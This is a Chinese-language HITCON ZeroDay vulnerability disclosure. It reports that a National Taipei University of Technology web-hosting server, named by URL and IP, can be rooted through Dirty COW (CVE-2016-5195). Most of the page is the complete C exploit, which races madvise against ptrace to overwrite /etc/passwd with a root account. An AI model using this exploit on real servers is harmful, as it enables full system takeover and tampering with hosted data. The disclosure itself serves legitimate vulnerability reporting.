臺北科技大學 提權漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2019-00339
  •  發信 Vendor: 臺北科技大學
  • Title: 臺北科技大學 提權漏洞
  • Introduction: 可以用 Dirty Cow 輕鬆提權,取得 root 權限。 https://dirtycow.ninja/

處理狀態

目前狀態

公開
Last Update : 2019/06/18
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2019/04/18 20:30:06 : 新提交 (由 yaoandy107 更新此狀態)
  • 2019/04/18 22:07:12 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/04/19 17:34:09 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/06/18 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2019-00339
  • 通報者:yaoandy107 (yaoandy107)
  • 風險:高
  • 類型:權限提升 (Privilege Escalation)

參考資料

攻擊者可利用此漏洞提升帳號權限,如其他使用者甚至管理者權限。

漏洞說明: OWASP - Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

漏洞說明: OWASP - Testing for Privilege escalation (OTG-AUTHZ-003)
https://www.owasp.org/index.php/Testing_for_Privilege_escalation_(OTG-AUTHZ-003)

漏洞說明: CWE - Privilege
https://cwe.mitre.org/data/definitions/901.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

學校提供教職員與學生架設網頁的空間,許多教授會將網站架設在上面。
使用教學網址:https://cnc.ntut.edu.tw/files/13-1008-2620.php?Lang=zh-tw

受影響主機:140.124.13.11
受影響網址:http://myweb.ntut.edu.tw/

敘述

漏洞

類型:提權
影響:可以控制整台 Server,內含許多老師的教學網站

CVE-2016-5195 Dirty Cow

可以將寫好攻擊程式傳上去並用 gcc 編譯,透過 dirty cow 漏洞,直接取得 root 權限。

攻擊程式碼

#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>
const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";
int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
struct Userinfo
{
    char *username;
    char *hash;
    int user_id;
    int group_id;
    char *info;
    char *home_dir;
    char *shell;
};
char *generate_password_hash(char *plaintext_pw)
{
    return crypt(plaintext_pw, salt);
}
char *generate_passwd_line(struct Userinfo u)
{
    const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
    int size = snprintf(NULL, 0, format, u.username, u.hash,
                        u.user_id, u.group_id, u.info, u.home_dir, u.shell);
    char *ret = malloc(size + 1);
    sprintf(ret, format, u.username, u.hash, u.user_id,
            u.group_id, u.info, u.home_dir, u.shell);
    return ret;
}
void *madviseThread(void *arg)
{
    int i, c = 0;
    for (i = 0; i < 200000000; i++)
    {
        c += madvise(map, 100, MADV_DONTNEED);
    }
    printf("madvise %d\n\n", c);
}
int copy_file(const char *from, const char *to)
{
    // check if target file already exists
    if (access(to, F_OK) != -1)
    {
        printf("File %s already exists! Please delete it and run again\n",
               to);
        return -1;
    }
    char ch;
    FILE *source, *target;
    source = fopen(from, "r");
    if (source == NULL)
    {
        return -1;
    }
    target = fopen(to, "w");
    if (target == NULL)
    {
        fclose(source);
        return -1;
    }
    while ((ch = fgetc(source)) != EOF)
    {
        fputc(ch, target);
    }
    printf("%s successfully backed up to %s\n",
           from, to);
    fclose(source);
    fclose(target);
    return 0;
}
int main(int argc, char *argv[])
{
    // backup file
    int ret = copy_file(filename, backup_filename);
    if (ret != 0)
    {
        exit(ret);
    }
    struct Userinfo user;
    // set values, change as needed
    user.username = "firefart";
    user.user_id = 0;
    user.group_id = 0;
    user.info = "pwned";
    user.home_dir = "/root";
    user.shell = "/bin/bash";
    char *plaintext_pw = getpass("Please enter new password: ");
    user.hash = generate_password_hash(plaintext_pw);
    char *complete_passwd_line = generate_passwd_line(user);
    printf("Complete line:\n%s\n", complete_passwd_line);
    f = open(filename, O_RDONLY);
    fstat(f, &st);
    map = mmap(NULL,
               st.st_size + sizeof(long),
               PROT_READ,
               MAP_PRIVATE,
               f,
               0);
    printf("mmap: %lx\n", (unsigned long)map);
    pid = fork();
    if (pid)
    {
        waitpid(pid, NULL, 0);
        int u, i, o, c = 0;
        int l = strlen(complete_passwd_line);
        for (i = 0; i < 10000 / l; i++)
        {
            for (o = 0; o < l; o++)
            {
                for (u = 0; u < 10000; u++)
                {
                    c += ptrace(PTRACE_POKETEXT,
                                pid,
                                map + o,
                                *((long *)(complete_passwd_line + o)));
                }
            }
        }
        printf("ptrace %d\n", c);
    }
    else
    {
        pthread_create(&pth,
                       NULL,
                       madviseThread,
                       NULL);
        ptrace(PTRACE_TRACEME);
        kill(getpid(), SIGSTOP);
        pthread_join(pth, NULL);
    }
    printf("Done! Check %s to see if the new user was created\n", filename);
    printf("You can log in with username %s and password %s.\n\n",
           user.username, plaintext_pw);
    printf("\nDON'T FORGET TO RESTORE %s FROM %s !!!\n\n",
           filename, backup_filename);
    return 0;
}

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;